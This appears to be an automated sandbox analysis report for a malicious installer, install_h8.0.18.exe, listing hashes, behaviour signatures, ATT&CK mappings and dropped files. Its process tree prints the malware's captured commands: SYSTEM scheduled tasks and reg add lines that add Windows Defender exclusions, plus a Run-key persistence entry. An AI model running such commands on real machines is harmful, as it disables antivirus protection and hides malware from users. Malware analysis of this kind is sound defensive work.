Analysis
- max time kernel
150s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
26/08/2026, 06:26
Static task
static1
Behavioral task
behavioral1
Sample
install_h8.0.18.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_h8.0.18.exe
Resource
win11ltsc2024-20260709-en
General
- Target install_h8.0.18.exe
- Size 27.3MB
- Sample260826-g7p6bstdmf
- SHA256 68ab2f7aa063b527ed43a6e93777c230b5123e3e4a9b2c57c78472e93cbf08b8
- MD5 a9ce431afaca4255b68321407fb73ab6
- SHA1 be790f95795c56434261a7fb6233830757ef9783
- SHA512 e587fe60b9d52daee3cdf4bd097a6916f5f9c8104f78780fdc9273845be93abe841e562f19414e5593b8a58ce947d3ea8755a89bf622cf193401fb005dcc5472
- SSDEEP 49152:V4+oMNJSsF69unEkQmHTpksaIC+4hXnY04+j0wjlktD4a0CfZ1Cy988xJ2jtOHN:6MPHFKkQmHTpksa7+4hX0CJttOHN
- TLSH T17457932AB306898EE076923845CB8F50E736E9B18671973F33F5172D0FEA34C5AA7514
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation egYdcG.exe - Executes dropped EXE 2 IoCs
pid Process 2300 egYdcG.exe 2740 egYdcG.exe - Loads dropped DLL 2 IoCs
pid Process 2300 egYdcG.exe 2740 egYdcG.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\8jzwJd\\egYdcG.exe\"" egYdcG.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4024 cmd.exe 1148 cmd.exe 3180 cmd.exe 4740 cmd.exe 4620 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b egYdcG.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 608 cmd.exe 4448 cmd.exe 3212 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3368 schtasks.exe 744 schtasks.exe 1316 schtasks.exe 392 schtasks.exe 2668 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 576 install_h8.0.18.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe 2300 egYdcG.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 672 Process not Found 672 Process not Found 672 Process not Found - Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2300 wrote to memory of 4740 2300 egYdcG.exe 95 PID 2300 wrote to memory of 4620 2300 egYdcG.exe 98 PID 4740 wrote to memory of 1316 4740 cmd.exe 100 PID 4620 wrote to memory of 392 4620 cmd.exe 101 PID 4740 wrote to memory of 1300 4740 cmd.exe 102 PID 4620 wrote to memory of 3684 4620 cmd.exe 105 PID 4740 wrote to memory of 3892 4740 cmd.exe 106 PID 4620 wrote to memory of 1716 4620 cmd.exe 107 PID 2300 wrote to memory of 4024 2300 egYdcG.exe 109 PID 4024 wrote to memory of 2668 4024 cmd.exe 112 PID 4024 wrote to memory of 4264 4024 cmd.exe 114 PID 4024 wrote to memory of 3860 4024 cmd.exe 116 PID 2300 wrote to memory of 1148 2300 egYdcG.exe 117 PID 1148 wrote to memory of 3368 1148 cmd.exe 119 PID 3212 wrote to memory of 4108 3212 cmd.exe 121 PID 2300 wrote to memory of 3180 2300 egYdcG.exe 122 PID 1148 wrote to memory of 4576 1148 cmd.exe 123 PID 3180 wrote to memory of 744 3180 cmd.exe 126 PID 1148 wrote to memory of 4592 1148 cmd.exe 127 PID 3180 wrote to memory of 452 3180 cmd.exe 128 PID 3180 wrote to memory of 2876 3180 cmd.exe 129 PID 608 wrote to memory of 4720 608 cmd.exe 131 PID 4448 wrote to memory of 4376 4448 cmd.exe 132 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\install_h8.0.18.exe"C:\Users\Admin\AppData\Local\Temp\install_h8.0.18.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:576
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C:\Users\Public\8jzwJd\egYdcG.exeC:\Users\Public\8jzwJd\egYdcG.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2300 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8jzwJd\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8jzwJd\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1316
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1300
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3892
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4620 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:392
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3684
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1716
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4024 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2668
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4264
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3368
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4576
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4592
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:744
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:452
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2876
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3212 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4108
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C:\Users\Public\8jzwJd\egYdcG.exe"C:\Users\Public\8jzwJd\egYdcG.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2740
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C:\Windows\system32\cmd.execmd.exe1⤵PID:5008
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:608 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4720
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4376
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\8jzwJd\UxEnhance64.dll
- Size 3.1MB
- SHA256 8fa922c35d7297c4ec2411585620f08a4b4b20ae988976281dec23f5dd9532f5
- MD5 96f934b1e96c39fce02d1c0aca16b116
- SHA1 7814ba903039358917df43f3b393dd0166e0f42f
- SHA512 c9dc081507b3dda6b9031ef8a97f708506c843b205cedce76876e1729fa2da72b7924c64cf10bce751cbadfb2810c803c9075cda21d01e30185fc4f541287c1c
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+L:P9m29xx3Tiqt06ox6+z2rNNrKoL
- TLSH T1D2E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\8jzwJd\adoresd.dat
- Size 4.7MB
- SHA256 f8c329d7cc53dbc3b3ade211245af7df462c52090ae8bda3ed316d80673416eb
- MD5 fcded774b6cddc3a8919359506e71216
- SHA1 7e8d74cd213bbf79bb1d59391008487de2fe8484
- SHA512 853f08882ee89e4b3380643871894646deb7993625535e3fee188a23e1fb034aef6d669820c74bea71b0e12787e6321984909ac5680a211868959972bd2c07c1
- SSDEEP 98304:rKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:rKClqhi0Cv54K2IVS0VQg
- TLSH T1093633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\8jzwJd\egYdcG.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\8jzwJd\msadox.tb
- Size 8KB
- SHA256 7b25298036ebf3c2ef5ccc6a2fe416a86a6d408a3d2a322ffa77d3aff12550b4
- MD5 18c6a5f5dca86da39223b20fee2e34e6
- SHA1 511dd6c3ec35d9f9f6c580409d4b4e6d01cdceaa
- SHA512 33c865ac5ec52c241e7fd7d1341b95bede20d0da4e8786d0e3a74b4242f9b78052d2aea4065d7bc919b7888035e42ee5919564af18d39468b0112b42e721961d
- SSDEEP 192:KqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:KsZqZOXQ3uqvR2Kfzp
- TLSH T158029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072ED2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH